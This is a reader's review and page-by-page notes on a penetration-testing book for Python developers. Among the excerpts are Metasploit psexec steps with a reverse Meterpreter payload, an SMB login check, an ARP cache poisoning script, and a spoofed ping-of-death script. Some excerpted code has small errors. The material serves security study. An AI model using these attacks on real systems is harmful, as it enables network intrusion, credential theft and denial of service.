Books[python_pen_testing

Python - Penetration Testing for Developers

Author:

Christopher Duffy, Mohit, Cameron Buchanan, Terry Ip, Andrew Mabbitt, Benjamin May, Dave Mound

Pub Year:

2016

Source:

Python-penetration-testing-for-developers(2016).pdf

Read: 2018-06-16

Last Update: 2018-06-16

Five Sentence Abstract:

A basic overview of penetration testing methodologies, black/white/gray boxing; NIST; OWASP; OSSTMM, are covered, providing a basic understanding of what penetration is, more than how you go about it, for even the least initiated of readers. Next a survey of a large portion of the more common tools is given that provides more of an introduction to, rather than an understanding of, each tool. The best part of the book is probably the coverage of packets, which, while not examined in gory detail, are presented in an easily digestible visual manner in addition to their descriptions, giving the reader enough understanding to take the next step. With your basic understanding of packets, you are now presented with several iterations of python programs that can mimic or extend the features of the publicly available tools; you move from nmap, to the nmap python library, to sockets, and finally scapy, which affords you custom packet creation. The work flow, from reconnaissance to exploit, from logging to reporting, is covered, but, given there is so much to each stage in penetration testing, not in particularly high detail.

Thoughts:

This is a longer, three-in-one style, book. The modules build on each other in a typical fashion. Overall I think there is a lot of interesting stuff here, but it also lacks depth in many places. Metasploit, for example, is used frequently, but there is no detailed instructions on metasploits functionality. While this would be a whole book in and of itself, I still think some of the cookie-cutter, cookbook module could be replaced with a closer look at some of the tools. If nothing else, it is a good book for the intermediate, but includes too little beginner and advanced information.

Actually, the packet dissection is fairly detailed. I'm probably not being fair, since I already understand a lot of this I could get through it fast, if you are a beginner this is probably much better than I make it out to be.

The introduction starts off very basic, discussing what penetration testing is and some of the various methodologies one can follow: Open Source Security Testing Methodology Manual (OSSTMM), Open Web Application Security Project (OWASP) for web assessments, or the National Institute of Standards and Technology (NIST) Special Publication 800-115 Technical Guide to Information Security Testing and Assessment.

It then discusses various testing environments, for example black, white, or gray box testing, where how much information is available at the start of an analysis. Black box being no information, as in the real world, and white box being total information. Gray is, of course, somewhere in the middle. Why would you want to give your testers information that an outside hacker might not have access to, at least initially? To save time and expense.

Next it discusses information gathering, the reconnaissance. This is where most of your time will probably be spent, probing, poking, learning how the network is set up. Even before this you might engage in open source intelligence, finding out what you can about the target without ever touching the target. Google and tools like recon-ng and theharvester can extract a great deal of publicly available information. Later Shodan is covered.

From here there is a whirlwind tour of some of the popular tools you'll be exposed to: metasploit, whois, hashcat, responder, the classic netcat, and a whole host of others. Each is provided with the briefest overview, but the list itself allows for follow-up self-study.

The last part of the introduction includes online repositories, like Shodan, as well as some stats on vulnerabilities. These stats are likely understatements and should be taken with a grain of salt. They are, after all, self-reported. Who expects companies to be forthcoming about their security faux pas?

Finally we get into some technical aspects. First the basics of access points, TCP, network addressing, and the like, are covered. This is followed up by the first tool you'll ever learn, nmap. Luckily it goes into detail about most of nmap's functionality, listing and examining the differences between many useful scans.

From here it shows, not well enough I'd say, examples of how you'd use the addresses, potential targets, found through an nmap scan to mount an attack using metasploit. I suppose the basic examples they use could be nice to someone with no experience, giving them a sense of accomplishment, thrill if you will, of a first exploit, however unrealistic the example might be.

Next, the first taste of python is provided with a rundown of how to build your own scanner using the nmap library. Really the scans are still done with nmap, but it allows you to completely customize how nmap will act. Later a lower level version will be designed using scapy.

The most common types of attacks are then enumerated with simple examples of each. These include dictionary and brute force attacks on SSH servers as well as SQL injection and XSS using web application testing tools like Burp Suite.

Somewhat out of place, in my opinion, is the more advanced topic of creating an exploit using the Immunity debugger. This is probably one of the more interesting parts of the book. It is, again, not covered in detail, but provides another path for further study.

The first module finishes off with a boring, but critically important, aspect: reports. You will collect so much information that you need some way to organize it and if you are doing professional work, you'll also need some way to present it in an understandable format. Grep, parsing, and file formats like csv, xml, and html are all covered.

Module 2 expands on module 1 first by developing a lower level scanner. Instead of using the nmap library, sockets are used. There are a few iterations that build to versions that construct your own packets, culminating with the use of scapy to simplify the process.

Now that you can handle packets and raw sockets, the next development is a tool that can poison ARP cache.

Other programs include extending the scanner to grab banners as well as how to automate SQL injection and XSS testing and execution without the need for third party applications like Burp.

Module 3 is set up as a cookbook, my least favorite style. It opens with a discussion on Shodan, which, while expensive now-a-days, is really worth it.

There are simple programs presented that allow for web header manipulation, image manipulation as used in steganography, and a high level view of encryption, encoding, and hashing. As usual, none of these are covered in detail.

In the final analysis the book is good to get you started, to give you an overview of the many paths you might take. Metasploit and scapy, for example, are barely touched on; either of these projects have numerous books focusing on only them.

On the other hand, it is neat to see functionality provided by things like nmap or burp suite done in python. This gives you a better understanding of the underlying mechanics, most of which are downright simple. Even if the python implementations lack the bells and whistles, the core concepts remain.

Module 1: Learning Penetration Testing with Python

1_01: Understanding the Penetration Testing Methodology

page 7:

There is a variety of assessment methodologies related to penetration testing. Examples of some methodologies include the Open Source Security Testing Methodology Manual (OSSTMM), the Open Web Application Security Project (OWASP) for web assessments, the National Institute of Standards and Technology (NIST) Special Publication 800-115 Technical Guide to Information Security Testing and Assessment, and the PTES. The methodology that we will focus on in this module is the PTES because it is a solid resource for new assessors.
The PTES has seven different phases, namely Pre-engagement Interactions, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post Exploitation, and Reporting.

page 12:

A Black Box test is often part of a Double Blind test, which is also known as an assessment that is not only a test of their environment but also the monitoring and incident response capabilities of the organization.

page 13:

During this phase [intelligence gathering] of the engagement, an assessor will use registries such as the American Registry of Internet Numbers (ARIN) or other regional registries, information repositories query tools such as WhoIs, Shodan, Robtex, social media sites, and tools like Recon-ng and the Google Hacking Database (GHDB).

page 15:

Verizon Data Breach Investigation Report (DBIR). The Verizon DBIR uses reported compromises and aggregates the results to attribute, by market, the types of incidents that are the most frequently identified. ... download a current version from http://www.verizonenterprise.com/DBIR/
The great secret of penetration testing, which is usually not relayed in movies, magazines, and/or books, is that penetration testing is primarily research, grinding, and report writing. If I had to gauge the average percentage of time that a good new assessor spends during an engagement, 70 percent would be on research or grinding to find applicable targets or a viable vulnerability, 15 percent on communication with the client, 10 percent on report writing, and 5 percent on exploitation.

page 17:

A pivot is the method of taking advantage of a new position during an assessment to assess resources that are normally not accessible. Most people equate pivoting to setting up a route in Metasploit, but it also relates to attacking or assessing resources from a different compromised device.

page 22:

// Start of rundown of tools.

page 29:

You can create a test hash with a password that you like from websites such as http://www.tobtu.com/lmntlm.php.

page 30:

The version of oclHashcat that supports cracking without GPU is called Hashcat. This cracking tool is quickly surpassing John when it comes to password cracking, but it takes a good bit more research and training to use. As you gain experience you should move to cracking with Hashcat or oclHashcat.
Mimikatz and Incognito, These tools both can work natively within a Meterpreter session, and each provides a means to interact and take advantage of a session on a Windows host. Incognito allows an assessor to interact with a token in memory by impersonating the user's cached credentials. Mimikatz allows an assessor to directly extract the credentials stored in memory, which means that the username and password are directly exposed. Mimikatz has the additional ability to run against memory dumps offline produced with tools such as SysInternals ProcDump.

page 31:

Responder is a Python script that provides assessors the ability to redirect proxy requests to an attacker's system through a misconfiguration of Web Proxy AutoDiscovery (WPAD). It can also receive network NTLM or NTLMv2 challenge response hashes. This is done by taking advantage of the natively enabled Local Link Multicast Name Request (LLMNR) and Network Basic Input Output System (NetBIOS) Name Service (NB-NS).

page 32:

Responder attacks have become a mainstay in most internal assessments. WPAD, LLMNR, and NB-NS are rampant misconfigurations in most environments and should be assessed when possible.
Recon-NG is often the first tool that assessors go to now. Recon-NG has not replaced theHarvester, but theHarvester is often not used unless Recon-NG has not found sufficient details.
SANS Institute has a fantastic cheat sheet for netcat that highlights the majority of its capabilities, which can be found at the following URL: http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf

page 33:

It should be noted that these tools [Sysinternals tools] are used by administrators and are typically white-listed.

1_02: The Basics of Python Scripting

page 47:

I recommend adding a comment to them. I typically use a simple #DEBUG comment, as shown here:

1	print(variable_name) #DEBUG

This will allow you to quickly search for and delete the #DEBUG line. In vi or vim, this is very simple—by first pressing Esc, then pressing :, and then executing the following command, which searches for and deletes the entire line:

1	g/.*DEBUG/d

If you wanted to temporarily comment out all of the #DEBUG lines and delete them later, you can use the following:

1	%s/.*DEBUG/#&

1_03: Identifying Targets with Nmap, Scapy, and Python

page 77:

page 78:

Access Points (AP) that are differentiated by Basic Service Set Identifiers (BSSIDs), which is a fancy name for the MAC address of the AP.

page 79:

Once you are associated and authenticated into the network through the AP, you are part of the Basic Service Set (BSS) or the component of the enterprise network, but are limited to the range of the AP.
If you move into a wireless network and associate with a new AP because the signal is better, you will be part of a new BSS. All BSS are part of the Enterprise Service Set (ESS); interestingly enough, if the wireless network contains more than one AP, it is an ESS. To be able to communicate with wireless engineers, you must understand that if you are in an enterprise wireless network, the SSID is actually known as an Enterprise SSID (ESSID). Now that you have an understanding of layer 2 headers, it's time to look at IP headers.

page 80:

page 81:

The TCP handshake is also known as the three-way handshake. The meaning of this is that three messages are sent back and forth between two systems before a communication socket is established. These three messages are SYN, SYN-ACK, and ACK.

page 82:

Each scan has a different purpose, and specific flags elicit different responses from operating systems depending on whether they are received out of order or not. The nmap port scanning techniques web page at http://nmap.org/book/man-port-scanning- techniques.html details this information succinctly.

page 84:

The four scans you primarily use are the TCP connection scan (also known as the full-connection scan), the SYN scan (also known as the half-open or stealth scan), the ACK scan, and the UDP scan.
The TCP connection scan is one of the loudest or easiest to detect scans nmap has, but it is also one of the best for eliminating false positives.
The TCP connect scan may provide the most accurate results, but automatic shunning mechanisms often block the source of the scan at the Internet Service Provider (ISP). To execute a TCP scan, all you have to do is indicate the associated scan type with -sT, as seen here:

1	nmap -sT -vvv -p 80 192.168.195.0/24

I have assessed many an organization, which could be scanned with full connection scans only, as they would immediately shun the connection if an SYN scan was executed. The trick is to know your target and how advanced their environment is. Much of this can be determined during the pre-engagement phases.

page 85:

SYN scans are a type of TCP scan, and they are the most prominent scans you will probably run during your engagements. The reason is that they are much faster than TCP connection scans, and much quieter. However, they are not suitable for environments with extremely old or sensitive equipment types.
SYN scans are simply executed using the -sS flag, as shown here:

1	nmap -sS -vvv -p 80 192.168.195.0/24

ACK scans are the rarest of the three TCP scan types, and they may not be as directly useful as you think. Let's see when you would use an ACK scan. It is a slow scan, so you would use it if an SYN or TCP scan does not provide you with the results you needed.
So where are ACK scans useful? People often ask this, and the answer is, "Firewalls." ACK scans are great for mapping firewall rule sets. Some systems react very strangely to ACK scans and provide additional data in return, so make sure you have tcpdump running on either an inline tap or on your system when you execute the ACK scan. The following is an example of how to execute an ACK scan. Run the command as follows:

1	nmap -sA -vvv -p80 192.168.195.0/24

page 86:

To execute a UDP scan, all that is needed is the flag for the scan set to -sU, as shown here:

1	nmap -sU -vvv -p161 192.168.195.0/24

page 87:

To execute a combined scan, all that is needed is to flag the two types of scans you want to use and itemize the ports you want to scan for each protocol. This is done by providing the -p option, followed by U: for the UPD ports and the T: for the TCP ports. See the following example, which highlights only a few ports for the sake of brevity:

1	nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24

page 87:

page 88:

Nmap has four output types, and they are extremely useful depending on the situation. They are to the screen, STDOUT, or to three different file types. These file types have different purposes and advantages. There is the nmap output, which looks identical to STDOUT but just in a file; this is done with -oN. Then, there are the Grepable and eXtensible Markup Language (XML) outputs, described as follows. All outputs can be produced at the same time using the -oA flag.

page 89:

The Grepable output can be executed by tagging the -oG flags.
So, you can extract these details by executing commands such as the following:

1 2	cat nmap_scan.gnmap \| grep 445/open/tcp \| cut -d" " -f2 >> /root/Desktop/smb_hosts_list

The example shows a Grepable file being pushed to STDOUT and then piped to grep, which searches for open 445 ports. This can be done with grep and cut only, but it is very easy to read and understand. Once the ports are found, cut extracts the IP addresses and pushes them to a flat file known as smb_hosts_lists. If you look at the nmap_scan.gnmap file, you would potentially see lines that contain details such as these:

1	Host: 192.168.195.112 () Ports: 445/open/tcp/

As you can see, the line contains the 445/open/tcp detail, which allows us to target that specific line. We then cut using the space as a delimitating key and select field two, where, if you count the data fields by spaces, you find the IP address. This technique is very common and is useful for quickly identifying what is open by the IP address and creating multiple flat files based on the service or port.
As shown in Chapter 1, Understanding the Penetration Testing Methodology, you use the rhosts field in the Metasploit modules to target hosts by CIDR notation or range. When you create flat files, you can use Metasploit modules to hit a list of hosts instead by referencing the flat file.

page 90:

use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run

If you are attacking with a local account, you should set the domain to workgroup. When attacking a domain account, you should set the domain to the actual domain of the organization.
Metasploit Professional is a tool that helps optimize penetration testing efforts and it has a web Graphical User Interface (GUI). Metasploit pro provides a lot of great features, but if you need to pivot through multiple network tiers protected by firewalls, the console is the best option. To learn how to execute an automatic pivot, you can find the details at https://www.offensive-security.com/metasploit- unleashed/pivoting/. To learn how to execute a manual pivot, refer to https://pen-testing.sans.org/blog/2012/04/26/ got-meterpreter-pivot, which covers port-based pivoting, manual routing, and SOCKS proxies.
This method of attack is very common; you find out the credentials, identify the services the credentials may work on, and then build flat files to target hosts. Next, you reference those flat files to check the hosts for a vulnerability. Once you have verified those hosts as vulnerable, you can exploit them with Pass-the-Hash (PtH) using a Process Execution (PSEXEC) attack (if you had the hash) or a standard- credentialed PSEXEC, as shown in the following code:

msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j

PtH is an attack that takes advantage of a native Windows weakness related to how systems authenticate on a network. Instead of requiring a Challenge/Response authentication method, the hashed password can be passed directly to the host. This means that you do not have to crack the Local Area Network Manager (LM) or New Technology LM (NTLM) hashes. Many Metasploit modules can use either credentials or hashes against SMB services.

page 93:

More details about nmap scripts can be found at http://nmap.org/ book/man-nse.html. Specific details about nmap scripts can be found at http://nmap.org/nsedoc/, along with their purposes and category associations.
Scripts can be called by the category they are part of or removed from the categories you do not want them to be part of. As an example, you can see that the following command runs the nmap tool with all default or safe scripts that do not start with http-:

1	nmap --script "(default or safe) and not http-*" <target IP>

page 94:

Nmap has a built-in capability that lets you target the statistically more common ports using the --top-ports option and then follow it up with a number. As an example, you could look for the top 10 ports using the --top-ports 10 option.
if you have a default gateway of 192.168.1.1 and your subnet is 255.255.255.0 or /24, you should check for other default gateways from 192.168.2.1 to 192.168.255.1. As you ping each default gateway, if it responds, you know that there are likely live hosts in that subnet. This can be done easily with well-known bash for loop:

1 2	for i in `seq 1 255`; do ping -c 1 192.168.$1.1 \| tr \\n ' ' \| awk '/1 received/ {print $2}'; done

page 96:

page 98:

scanner = nmap.PortScanner()
scanner.scan(addrs, ports)
for host in scanner.all_hosts():
  if not scanner[host].hostname():
    print("The host's IP address is %s and it's hostname was not found") % (host)
  else:
    print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname())

This script can be found at https://raw.githubusercontent.com/ funkandwagnalls/pythonpentest/master/nmap_scannner.py.

page 103:

page 105:

// Scapy.
The next thing to keep in mind is that if you try to ping the loopback interface or localhost, the packet will not be assembled. This is because the kernel intercepts the request and processes it internally through the TCP/IP stack of the system.

1_04: Executing Credential Attacks with Python

page 116:

1_05: Exploiting Services with Python

page 135:

To establish a consistent language, you move from one host to another, at the same privilege level which is called the lateral movement. When you find a higher level of privilege such as Domain Administrator (DA), this is considered as a vertical movement or privilege escalation. When you use access to a host or network area to gain access to the systems that you could not see before, because of access controls or network segregation, this is called pivoting. Now that you understand the concepts and the terms, let us pop some boxes.
password spray attack. This attack uses one password for many usernames, which prevents account lockout.

page 136:

The most common passwords you will find used in the U.S. are Password1, Password123, the Season and the Year such as Summer2015, and some manipulation of the company name or username you are testing. To this day, I have found some form or shape of weak or default password on every engagement. If you watch or read about any of the major breaches, weak, default, or known passwords were a component of all of them. Also, note that all of these passwords would meet the Windows Active Directory password complexity requirements as shown here at https://technet.microsoft.com/en-us/library/ hh994562%28v=ws.10%29.aspx.

page 137:

A command shell does not allow for the use of interactive commands, where a terminal does. Exploitation of the SSH service via a SSH client provides terminal access, while the Metasploit module ssh_login provides command shell access. So, a terminal is preferred when possible as in the following example.

page 139:

This means we need to elevate our privileges locally to gain access to the file; in Linux this can be done in one of the four primary ways. The easiest way is to find stored usernames and passwords on the host, which is very common on Linux or UNIX servers. The second way, which requires no exploits to be brought into the system is by manipulating files, inputs, and outputs that have improper use of Sticky bits, Set User Identifier (SUID), and Globally Unique Identifier (GUID). The third is by exploiting a vulnerable version of the Kernel.
The fourth method is the most overlooked manner to gain access to these files, and that is by misconfigured sudo access. All you have to do is execute sudo su -, which instantiates a session as root. The following shows that this as an example of simply gaining root access to a system:
http://www.cvedetails.com/, which not only references vulnerabilities, it also points to locations where exploits can be found.

page 151:

This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap library to scan for active ports of 445, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc library for Python. This library can be found at https://github.com/ SpiderLabs/msfrpc.git.
A github repository for the module can be found at https://github. com/funkandwagnalls/pythonpentest or https://github. com/PacktPublishing/Python-Penetration-Testing-for-Developers and within it is a setup file that can be run to install all the necessary packages, libraries, and resources.

page 157:

Metasploit has moved to msgrpc verses msfrpc, but everyone still refers to it as msfrpc.

1_06: Assessing Web Applications with Python

page 174:

Some of the best SQLi lists for common injection types for each database instance can be found at http://pentestmonkey.net/category/ cheat-sheet/sql-injection. Equally good XSS lists are available at https://www.owasp.org/index.php/XSS_Filter_Evasion_ Cheat_Sheet. Some of these details are also built into Burp Suite, as highlighted at https://support.portswigger.net/customer/ portal/articles/1783128-Intruder_Common%20Uses.html.

1_07: Cracking the Perimeter with Python

page 178:

the primary example of exposed services today are web applications.
There are several examples that show how to set up other backdoors on a system, as highlighted at http://pentestmonkey.net/cheat- sheet/shells/reverse-shell-cheat-sheet.

1_08: Exploit Development with Python, Metasploit, and Immunity

page 201:

The PE can be better understood from the following two older articles, Peering Inside the PE: A Tour of the Win32 Portable Executable File Format, found here https://msdn.microsoft.com/en-us/magazine/ ms809762.aspx, and An In-Depth Look into the Win32 Portable Executable File Format, found here https://msdn.microsoft.com/ en-us/magazine/cc301805.aspx.

1_09: Automating Reports and Tasks with Python

page 249:

// Libraries to help parse xml and interact with Excel.

1_10: Adding Permanency to Python Tools

page 277:

Finally, the following code uses the map function, which calls the host_request function as it iterates through the list of targets. The map function allows a multiprocessing script to queue work in a manner similar to the previous multithreaded script.

# Establish pool list
pool = multiprocessing.Pool(processes=threads, initializer=log_init(log))
# Queue up the targets to assess
results = pool.map(host_request, targets_list)
  for result in results:
    for value in result:
      print(value)

If you wanted to be more specific, another manner would be to determine the number of CPU and double it to determine the number of processes. This could be accomplished as follows: processes = multiprocessing.cpu_count() *2.

Module 2: Python Penetration Testing Essentials

2_01: Python with Penetration Testing and Networking

page 289:

s = socket.socket (socket_family, socket_type, protocol=0)
socket_family: socket.AF_INET, PF_PACKET
AF_INET is the address family for IPv4. PF_PACKET operates at the device driver layer. The pcap library for Linux uses PF_PACKET.
Socket_type : socket.SOCK_DGRAM, socket.SOCK_RAW,socket.SOCK_STREAM
The socket.SOCK_DGRAM argument depicts that UDP is unreliable and connectionless, and socket.SOCK_STREAM depicts that TCP is reliable and is a two-way, connection-based service. We will discuss socket.SOCK_RAW in Chapter 3, Sniffing and Penetration Testing.
protocol, Generally, we leave this argument; it takes 0 if not specified.

page 290:

Server socket methods:
socket.bind(address): This method is used to connect the address (IP address, port number) to the socket. The socket must be open before connecting to the address.
socket.listen(q): This method starts the TCP listener. The q argument defines the maximum number of lined-up connections.
socket.accept(): The use of this method is to accept the connection from the client. Before using this method, the socket.bind(address) and
socket.listen(q) methods must be used. The socket.accept() method returns two values: client_socket and address, where client_socket is a new socket object used to send and receive data over the connection, and address is the address of the client. You will see examples later.
Client socket methods:
socket.connect(address): This method connects the client to the server. The address argument is the address of the server.
General socket methods:
socket.recv(bufsize): This method receives a TCP message from the socket. The bufsize argument defines the maximum data it can receive at any one time.
socket.recvfrom(bufsize): This method receives data from the socket. The method returns a pair of values: the first value gives the received data, and the second value gives the address of the socket sending the data.
socket.recv_into(buffer): This method receives data less than or equal to buffer. The buffer parameter is created by the bytearray() method. We will discuss it in an example later.
socket.recvfrom_into(buffer): This method obtains data from the socket and writes it into the buffer. The return value is a pair (nbytes, address), where nbytes is the number of bytes received, and the address is the address of the socket sending the data.
Be careful while using the socket.recv from_into(buffer) method in older versions of Python. Buffer overflow vulnerability has been found in this method. The name of this vulnerability is CVE-2014-1912, and its vulnerability was published on February 27, 2014. Buffer overflow in the socket.recvfrom_into function in Modules/socketmodule.c in Python 2.5 before 2.7.7, 3.x before 3.3.4, and 3.4.x before 3.4rc1 allows remote attackers to execute arbitrary code via a crafted string.
socket.send(bytes): This method is used to send data to the socket. Before sending the data, ensure that the socket is connected to a remote machine. It returns the number of bytes sent.
socket.sendto(data, address): This method is used to send data to the socket. Generally, we use this method in UDP. UDP is a connectionless protocol; therefore, the socket should not be connected to a remote machine, and the address argument specifies the address of the remote machine. The return value gives the number of bytes sent.
socket.sendall(data): As the name implies, this method sends all data to the socket. Before sending the data, ensure that the socket is connected to a remote machine. This method ceaselessly transfers data until an error is seen. If an error is seen, an exception would rise, and socket.close() would close the socket.

page 293:

page 300:

socket.gethostbyname_ex(name): This method converts a hostname to the IPv4 address pattern. However, the advantage over the previous method is that it gives all the IP addresses of the domain name. It returns a tuple (hostname, canonical name, and IP_addrlist) where the hostname is given by us, the canonical name is a (possibly empty) list of canonical hostnames of the server for the same address, and IP_addrlist is a list all the available IPs of the same hostname. Often, one domain name is hosted on many IP addresses to balance the load of the server.

page 301:

If you want to know the IP address of all the (local) interfaces, use the extended interface: socket.gethostbyname_ex(socket.gethostname())
socket.getfqdn([name]): This is used to find the fully qualified name, if it's available.

page 302:

socket.gethostbyaddr(ip_address): This is like a "reverse" lookup for the name.

2_02: Scanning Pentesting

page 307:

Protocol Data Unit (PDU).

For the application layer, PDU indicates data
For the transport layer, PDU indicates a segment
For the Internet or the network layer, PDU indicates a packet
For the data link layer or network access layer, PDU indicates a frame
For the physical layer, that is, physical transmission, PDU indicates bits

2_03: Sniffing and Penetration Testing

page 340:

PF_PACKET: It operates at the device driver layer. The pcap library for Linux uses PF_PACKET sockets. To run this, you must be logged in as a root. If you want to send and receive messages at the most basic level, below the Internet protocol layer, then you need to use PF_PACKET.
Raw socket: It does not care about the network layer stack and provides a shortcut to send and receive packets directly to the application. The following socket methods are used for byte-order conversion:
socket.ntohl(x): This is the network to host long. It converts a 32-bit positive integer from the network to host the byte order.
socket.ntohs(x): This is the network to host short. It converts a 16-bit positive integer from the network to host the byte order.
socket.htonl(x): This is the host to network long. It converts a 32-bit positive integer from the host to the network byte order.
socket.htons(x): This is the host to network short. It converts a 16-bit positive integer from the host to the network byte order.

page 341:

page 342:

page 344:

import socket
import struct
import binascii

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
  pkt = s.recvfrom(2048)

  ethhead = pkt[0][0:14]
  eth = struct.unpack("!6s6s2s",ethhead)
  print "--------Ethernet Frame--------"
  print "desination mac",binascii.hexlify(eth[0])
  print "Source mac",binascii.hexlify(eth[1])
  #binascii.hexlify(eth[2])

  ipheader = pkt[0][14:34]
  ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
  print "-----------IP------------------"
  print "TTL :", ip_hdr[1]
  print "Source IP", socket.inet_ntoa(ip_hdr[1])
  print "Destination IP", socket.inet_ntoa(ip_hdr[2])
  print "---------TCP----------"

  tcpheader = pkt[0][34:54]
  #tcp_hdr = struct.unpack("!HH16s",tcpheader)
  tcp_hdr = struct.unpack("!HH9ss6s",tcpheader)
  print "Source Port ", tcp_hdr[0]
  print "Destination port ", tcp_hdr[1]
  print "Flag ",binascii.hexlify(tcp_hdr[3])

  print pkt[0][54:]

page 348:

import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
des ='\x00\x0C\x29x2E\x84\x7A'
code ='\x08\x00'
eth = des+sor+code
s.send(eth)

ARP (Address Resolution Protocol) is used to convert the IP address to its corresponding Ethernet (MAC) address. When a packet comes to the Network layer (OSI), it has an IP address and a data link layer packet that needs the MAC address of the destination device. In this case, the sender uses the ARP protocol.

page 349:

//ARP poisoning.

page 350:

page 351:

import socket
import struct
import binascii

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = '\x00\x0c\x29\x4f\x8e\x35'
victmac ='\x00\x0C\x29\x2E\x84\x7A'
gatemac = '\x00\x50\x56\xC0\x00\x08'

code ='\x08\x06' #arp protocol

eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = '\x00\x01' #arp packet
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11'
gip = socket.inet_aton (gate_ip) #convert IP to hex
vip = socket.inet_aton (victim_ip)

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
  s.send(arp_victim)
  s.send(arp_gateway)

In the packet crafting section explained previously, you created the Ethernet frame. In this code, we have used 3 MAC addresses, which are also shown in the preceding table. Here, we used code ='\x08\x06', which is the code of the ARP protocol. The two Ethernet packets crafted are eth1 and eth2. The following line htype = '\ x00\x01' denotes the Ethernet. Everything is in order as shown in the ARP header, protype = '\x08\x00', which indicates the protocol type; hsize = '\x06' shows the hardware address size; psize = '\x04' gives the IP address length; and opcode = '\x00\x02' shows it is a reply packet. The gate_ip = '192.168.0.1' and victim_ip = '192.168.0.11' statements are the IP addresses of the gateway and victim respectively. The socket.inet_aton ( gate_ip ) method converts the IP address to a hexadecimal format. In the end, we assemble the entire code according to the ARP header. The s.send() method also puts the packets on the cable.

page 354:

concept of the half-open scan. The following steps define the stealth scan:

1. The client sends an SYN packet to the server on the intended port.
2. If the port is open, then the server responds with the SYN/ACK packet.
3. If the server responds with an RST packet, it means the port is closed.
4. The client sends the RST to close the initiation.

page 355:

from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()
rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show

The first line imports all the modules of scapy. The next line ip1 = IP(src="192.168.0.10", dst ="192.168.0.3" ) defines the IP packet. The name of the IP packet is ip1, which contains the source and destination address. The tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345) statement defines a TCP packet named tcp1, and this packet contains the source port and destination port. We are interested in port 80 as we have defined the previous steps of the stealth scan. For the first step, the client sends an SYN packet to the server. In our tcp1 packet, the SYN flag has been set as shown in the packet, and seq is given randomly. The next line packet= ip1/tcp1 arranges the IP first and then the TCP. The p =sr1(packet, inter=1) statement receives the packet. The sr1() function uses the sent and received packets but it only receives one answered packet, inter= 1, which indicates an interval of 1 second because we want a gap of one second to be present between two packets. The next line p.show() gives the hierarchical view of the received packet. The rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347) statement will send the packet with the RST flag set. The lines following this line are easy to understand. Here, p1.show is not needed because we are not accepting any response from the server.

page 358:

Sometimes firewalls and Intrusion Detection System (IDS) are configured to detect SYN scans. In an FIN scan attack, a TCP packet is sent to the remote host with only the FIN flag set. If no response comes from the host, it means that the port is open. If a response is received, it contains the RST/ACK flag, which means that the port is closed.
The following is the code for the FIN scan:

from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()

page 360:

The ACK scanning method is used to determine whether the host is protected by some kind of filtering system.
In this scanning method, the attacker sends an ACK probe packet with a random sequence number where no response means that the port is filtered (a stateful inspection firewall is present in this case); if an RST response comes back, this means the port is closed.

page 361:

Ping of death is a type of denial of service in which the attacker deliberately sends a ping request that is larger than 65,536 bytes. One of the features of TCP/IP is fragmentation; it allows a single IP packet to be broken down into smaller segments. Let's take a look at the code and go through the explanation of the code too. The program's name is pingofd.py:

from scapy.all import *
ip1 = IP(src="192.168.0.99", dst ="192.168.0.11")
packet = ip1/ICMP()/("m"*60000)
send(packet)

Here, we are using 192.168.0.99 as the source address. This is an attack and I don't want to reveal my IP address; that's why I have spoofed my IP. The packet contains the IP and ICMP packet and 60,000 bytes of data for which you can increase the size of the packet. This time, we use the send() function since we are not expecting a response.

2_04: Wireless Pentesting

2_05: Foot Printing of a Web Server and a Web Application

page 393:

The code for the banner grabber is shown as follows:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
  pkt = s.recvfrom(2048)
  banner = pkt[0][54:533]
  print banner
  print "--"*40

Since you must have read Chapter 2, Sniffing and Penetration Testing, you should be familiar with this code. The banner = pkt[0][54:533] statement is new here. Before pkt[0][54:], the packet contains TCP, IP, and Ethernet information. After doing some hit and trail, I found that the banner grabbing information resides between [54:533].

2_06: Client-side and DDoS Attacks

2_07: Pentesting of SQLI and XSS

Module 3: Python Web Penetration Testing Cookbook

3_01: Gathering Open Source Intelligence

page 440:

Shodan is essentially a vulnerability search engine. ... database is searchable from the Shodan website (https:// www.shodan.io), the results and services reported on are limited, unless you access it through the Application Programming Interface (API).
Shodan has a really nice Python library, which is also well documented at https://shodan.readthedocs.org/en/latest/.
To get your Python environment set up to work with Shodan, all you need to do is simply install the library using cheeseshop:

